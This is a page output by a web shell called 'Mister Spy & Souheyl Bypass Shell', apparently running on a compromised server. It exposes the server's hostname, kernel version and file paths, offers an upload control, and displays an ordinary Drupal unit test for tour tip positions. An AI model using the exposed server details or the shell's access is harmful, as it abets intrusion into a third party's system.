Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/modules/tour/tests/src/Unit/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/modules/tour/tests/src/Unit/TipPluginBaseTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\tour\Unit;

use Drupal\Tests\UnitTestCase;
use Drupal\tour\TipPluginBase;

/**
 * @coversDefaultClass \Drupal\tour\TipPluginBase
 *
 * @group tour
 * @group legacy
 */
class TipPluginBaseTest extends UnitTestCase {

  /**
   * @covers ::getLocation
   */
  public function testGetLocationAssertion(): void {
    $base_plugin = $this->getMockForAbstractClass(TipPluginBase::class, [], '', FALSE);

    $base_plugin->set('position', 'right');
    $this->assertSame('right', $base_plugin->getLocation());

    $base_plugin->set('position', 'not_valid');
    $this->expectException(\AssertionError::class);
    $this->expectExceptionMessage('not_valid is not a valid Tour Tip position value');
    $base_plugin->getLocation();
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net